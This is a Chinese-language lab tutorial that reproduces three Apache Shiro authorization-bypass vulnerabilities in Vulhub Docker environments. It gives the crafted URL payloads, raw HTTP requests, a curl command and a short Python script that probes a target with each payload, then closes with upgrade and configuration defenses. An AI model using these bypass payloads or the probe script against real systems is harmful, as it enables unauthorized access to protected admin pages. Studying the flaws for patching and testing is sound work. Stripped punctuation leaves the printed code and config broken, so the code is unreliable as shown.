从原理到靶场Shiro权限绕过漏洞三重奏实战解析在安全研究领域知道漏洞编号和真正理解漏洞原理之间往往隔着一条鸿沟。Apache Shiro框架在2020年连续爆出的三个权限绕过漏洞CVE-2020-1957、CVE-2020-11989和CVE-2020-13933就是典型案例——许多人都听说过这些漏洞但能说清楚它们差异的人却不多。本文将带你从零开始通过Vulhub靶场环境亲手复现这三个兄弟漏洞理解它们看似相似实则各异的绕过机制。1. 环境准备与漏洞背景1.1 为什么Shiro容易成为攻击目标Apache Shiro作为Java生态中广泛使用的安全框架负责处理身份验证、授权、会话管理等核心安全功能。它的拦截器机制通过简单的配置就能实现URL访问控制[urls] /static/** anon /api/** authc这种便捷性背后却隐藏着风险。Shiro使用Ant风格的路径匹配规则而现代Web框架如Spring又有自己的URL处理逻辑两者之间的微妙差异正是权限绕过漏洞滋生的温床。1.2 实验环境搭建我们将使用Vulhub提供的标准化环境确保复现过程可重复# 下载并启动靶场 git clone https://github.com/vulhub/vulhub.git cd vulhub/shiro/CVE-2020-1957 docker-compose up -d提示实验结束后记得运行docker-compose down释放资源。如果遇到端口冲突可通过修改docker-compose.yml中的端口映射解决。三个漏洞对应的测试环境略有不同漏洞编号测试路径所需Docker镜像CVE-2020-1957/vulhub/shiro/CVE-2020-1957shiro:1.4.2CVE-2020-11989/vulhub/shiro/CVE-2020-11989shiro:1.5.2CVE-2020-13933/vulhub/shiro/CVE-2020-13933shiro:1.5.32. CVE-2020-1957路径穿越的艺术2.1 漏洞原理深度解析这个漏洞的核心在于Shiro和Spring对URL中/..;/序列的处理差异Shiro的视角当看到/admin/..;/secret时会先进行规范化处理解析到..时回退一级目录 →/admin/..变为/最终校验路径变为/通常配置为匿名访问(anon)Spring的视角会将其视为路径参数;后面的内容被当作参数实际访问路径是/secret2.2 手把手复现过程启动环境后访问http://localhost:8080会看到登录页面。此时尝试直接访问管理页面http://localhost:8080/admin会被重定向到登录页。现在使用绕过技巧http://localhost:8080/xxx/..;/admin/你会惊讶地发现直接进入了管理界面。用Burp Suite抓包观察关键请求如下GET /xxx/..;/admin/ HTTP/1.1 Host: localhost:8080 Cookie: rememberMe1注意rememberMe cookie不是必要条件但实际渗透测试中常用来识别Shiro应用2.3 技术细节对比表处理阶段输入URL处理后结果访问控制效果Shiro校验/xxx/..;/admin//xxx/..绕过Spring路由/xxx/..;/admin//admin/执行最终效果--权限绕过3. CVE-2020-11989分号的新玩法3.1 漏洞演进分析在1957漏洞修复后安全研究人员发现只需将分号前置依然可以绕过原漏洞/xxx/..;/admin/ → 修复后无效 新变种/;/admin/index → 依然可绕过这是因为修复方案只检查了..;模式却没考虑到单纯分号的情况。3.2 靶场实战演示启动CVE-2020-11989专用环境后尝试以下请求http://localhost:8080/;/admin/index对应的HTTP请求报文GET /;/admin/index HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0响应码应为200并返回管理页面内容。这个漏洞的独特之处在于不需要..路径回溯分号前置即可干扰Shiro的路径匹配3.3 流量对比分析用Wireshark或Burp对比正常请求和恶意请求正常访问流程用户请求 → Shiro校验(/admin) → 拦截 → 返回403漏洞利用流程用户请求(/;/admin) → Shiro校验(/) → 放行 → Spring路由(/admin) → 返回2004. CVE-2020-13933参数伪装术4.1 最新变种的精妙之处这是三个漏洞中最隐蔽的一个利用方式为/admin/;paramvalueShiro会将其解析为/admin/路径而Spring会保留完整URL。关键在于Shiro的路径匹配以分号作为分隔符Spring的控制器可能忽略分号后的内容4.2 完整复现步骤启动13933专用环境访问登录页面获取cookie发送精心构造的请求curl http://localhost:8080/admin/;test \ -H Cookie: JSESSIONIDxxxx观察返回的管理界面HTML4.3 三大漏洞横向对比特征项CVE-2020-1957CVE-2020-11989CVE-2020-13933利用字符串/xxx/..;/admin//;/admin/index/admin/;param关键字符..;;/;Shiro解析结果/xxx/..//admin/Spring解析结果/admin//admin/index/admin/修复版本1.5.21.5.31.6.05. 防御方案与进阶思考5.1 官方修复方案解读三个漏洞的修复策略体现了渐进式改进1957修复增加对..;的检测11989修复增强分号处理逻辑13933修复全面规范URL解析升级命令示例!-- Maven项目升级Shiro -- dependency groupIdorg.apache.shiro/groupId artifactIdshiro-web/artifactId version1.6.0/version /dependency5.2 开发者的自检清单即使升级了Shiro版本仍建议检查所有URL映射配置避免过于宽松的anon设置实施多层权限校验// 示例Spring中增加额外校验 GetMapping(/admin/**) public String adminPage(AuthenticationPrincipal User user) { if (!user.hasRole(ADMIN)) { throw new AccessDeniedException(); } // ... }5.3 渗透测试中的实用技巧在实际测试中可以组合使用这些技术先通过rememberMe判断Shiro存在尝试三种绕过方式结合目录爆破扩大战果# 简易检测脚本示例 import requests vulnerabilities [ /xxx/..;/admin/, /;/admin/, /admin/;test ] for vuln in vulnerabilities: r requests.get(fhttp://target{vuln}) if Admin Panel in r.text: print(fVulnerable to {vuln} pattern)在最近的一次内部测试中我们发现即使是最新的Shiro版本如果配置不当仍然可能存在类似的逻辑缺陷。比如某次遇到开发者在Shiro配置中使用了过于宽松的/**anon导致前端路由可以被恶意利用。这提醒我们工具只是辅助安全更需要正确的配置和持续的关注。